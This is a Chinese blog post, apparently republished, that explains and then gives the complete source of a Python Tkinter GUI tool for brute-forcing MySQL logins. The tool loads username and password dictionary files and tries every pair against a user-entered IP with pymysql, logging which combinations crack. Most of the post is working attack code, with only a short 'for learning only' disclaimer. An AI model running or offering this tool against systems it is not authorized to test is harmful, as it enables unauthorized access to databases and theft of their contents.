当前位置:   article > 正文

python工具系列-弱口令工具_弱口令扫描工具 python

弱口令扫描工具 python

python弱口令扫描工具-初始版

本篇博客记录下基于python写的gui小工具,也是我学python以来自己动手写的第一款交互型的工具

Tkinter: Tkinter 模块(Tk 接口)是 Python 的标准 Tk GUI 工具包的接口 .Tk 和 Tkinter
可以在大多数的 Unix 平台下使用,同样可以应用在 Windows 和 Macintosh 系统里。Tk8.0
的后续版本可以实现本地窗口风格,并良好地运行在绝大多数平台中。

本次用到的主要是tkinter模块
引用如下

from tkinter import *
from tkinter.filedialog import *
from tkinter import simpledialog
import tkinter
import os,shutil
import  pymysql`
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

接下来定义各个功能函数如下
1.字典的导入和保存:打开文件对话框保存字典(.txt文件)
代码如下

filepath=tkinter.filedialog.askopenfilename()    # 打开文件对话框
    fname.set(filepath)
    file=shutil.copy(filepath,r'C:\test')  # 复制文件到指定路径
  • 1
  • 2
  • 3

2.遍历字典
代码如下

username_list = 'C:/test/username.txt'
    password_list = 'C:/test/password.txt'
    splitChar = '\t'  # 设置过滤字符串
    splitChar1 = '\n'
    with open(username_list, 'r') as f:  # 获取字典中的数据,转换为list
        datalist = f.readlines()

    with open(password_list, 'r') as p:
        passwordlist = p.readlines()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

3.mysql爆破模块,数据处理和爆破
引入pymysql,执行循环遍历字典,替换空格并执行爆破
代码如下:

    for username1 in datalist:
        username=username1.replace(splitChar,'').replace(splitChar1,'')   #数据处理,替换掉取出的\t和\n字符
        for passwd in passwordlist:
            password=passwd.replace(splitChar,'').replace(splitChar1,'')
            try:                                                           #开始爆破
                db=pymysql.connect(host,username,password)
                success=True
                if success:
                    print("用户名:" + username +" 密码:" + password + "破解成功")
                    p="破解完成!用户名:" + username +" 密码:" + password
                    outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解成功"+"\n")
            except:
                    print("用户名:" + username +" 密码:" + password + "破解失败")
                    outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解失败"+"\n")
                    pass
    outprint.insert(END,p)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

4.定义布局,button按钮和输出区域
button如下:

button=Button(root,text='用户名',fg='blue',bg='Aquamarine',command=Putfile_username).place(x=300,y=45)  #创建按钮并绑定属性
button1=Button(root,text='密 码',fg='blue',bg='Aquamarine',command=Putfile_password).place(x=500,y=45)
button2=Button(root,text='执 行',fg='blue',bg='Aquamarine',command=Msqlattrack).place(x=700,y=45)
  • 1
  • 2
  • 3

5.IP我目前之写了一个手动输入的,逻辑上是实时取回用户输入的内容,并赋值为host
代码如下:

label=Label(root,text='IP:',fg='blue',bg='Aquamarine').place(x=50,y=50)
e_lable=Entry(root,textvariable=ipVar).place(x=72,y=50)       #定义输入IP并取回输入值
  • 1
  • 2

6.执行结果回显
利用outprint.insert(END,p)来回显,我也是第一次用。。。。
代码如下:

outprint=Text(root)
outprint.pack(side=BOTTOM,expand=YES) #定义打印区域
  • 1
  • 2

其余的就是基础代码,布局大小和方向,还有title,禁止拉伸什么的这些基本的代码
最终代码如下:

from tkinter import *
from tkinter.filedialog import *
from tkinter import simpledialog
import tkinter
import os,shutil
import  pymysql

root = Tk()
root.configure(bg='Aquamarine') # 创建一个Tkinter.Tk()实例
root.geometry("800x500")  # 设置主窗口大小
root.resizable(0, 0) #禁止拉伸
root.title("刺心 弱口令工具-MYSQL初始版 其余功能待开发")

def Putfile_username():  # 定义字典
    fname = tkinter.StringVar()
    if os.path.exists('C:/test/username.txt'):    # 判断指定路径是否存在文件,如果有,则删除
        os.remove('C:/test/username.txt')
    else:
        pass
    filepath=tkinter.filedialog.askopenfilename()    # 打开文件对话框
    fname.set(filepath)
    file=shutil.copy(filepath,r'C:\test')  # 复制文件到指定路径
    tip="用户名加载完毕!路径:"+file+"\n"
    os.rename(file,"C:/test/username.txt") # 重命名文件名
    outprint.insert(END,tip)
def Putfile_password():
    if os.path.exists('C:/test/password.txt'):
        os.remove('C:/test/password.txt')
    else:
        pass
    fpass = tkinter.StringVar()
    passpath = tkinter.filedialog.askopenfilename()
    fpass.set(passpath)
    passfile = shutil.copy(passpath, r'C:\test')
    tip = "密码加载完毕!路径:" + passfile + "\n"
    os.rename(passfile, "C:/test/password.txt")
    outprint.insert(END, tip)


#def input_ip():
    #r=simpledialog.askstring('', '请输入IP:', initialvalue='')
    #return r


def Msqlattrack():  # 定义爆破模块
    username_list = 'C:/test/username.txt'
    password_list = 'C:/test/password.txt'
    splitChar = '\t'  # 设置过滤字符串
    splitChar1 = '\n'
    with open(username_list, 'r') as f:  # 获取字典中的数据,转换为list
        datalist = f.readlines()

    with open(password_list, 'r') as p:
        passwordlist = p.readlines()

    host = ipVar.get()   # 取回输入的IP值
    for username1 in datalist:
        username=username1.replace(splitChar,'').replace(splitChar1,'')   #数据处理,替换掉取出的\t和\n字符
        for passwd in passwordlist:
            password=passwd.replace(splitChar,'').replace(splitChar1,'')
            try:                                                           #开始爆破
                db=pymysql.connect(host,username,password)
                success=True
                if success:
                    print("用户名:" + username +" 密码:" + password + "破解成功")
                    p="破解完成!用户名:" + username +" 密码:" + password
                    outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解成功"+"\n")
            except:
                    print("用户名:" + username +" 密码:" + password + "破解失败")
                    outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解失败"+"\n")
                    pass
    outprint.insert(END,p)
ipVar=tkinter.StringVar()
button=Button(root,text='用户名',fg='blue',bg='Aquamarine',command=Putfile_username).place(x=300,y=45)  #创建按钮并绑定属性
button1=Button(root,text='密 码',fg='blue',bg='Aquamarine',command=Putfile_password).place(x=500,y=45)
button2=Button(root,text='执 行',fg='blue',bg='Aquamarine',command=Msqlattrack).place(x=700,y=45)
label=Label(root,text='IP:',fg='blue',bg='Aquamarine').place(x=50,y=50)
e_lable=Entry(root,textvariable=ipVar).place(x=72,y=50)       #定义输入IP并取回输入值
text_mysql=Label(root,text='MYSQL',font=('楷体',15),bg='Aquamarine').place(x=380,y=7)
outprint=Text(root)
outprint.pack(side=BOTTOM,expand=YES) #定义打印区域
root.mainloop()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82

编译成exe文件可以运行,也可以在终端里执行
代码还是有很大的瑕疵的。。。
附上我本地测试的截图
在这里插入图片描述注:此工具仅作为学习和交流使用

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/凡人多烦事01/article/detail/432319
推荐阅读
相关标签
  

闽ICP备14008679号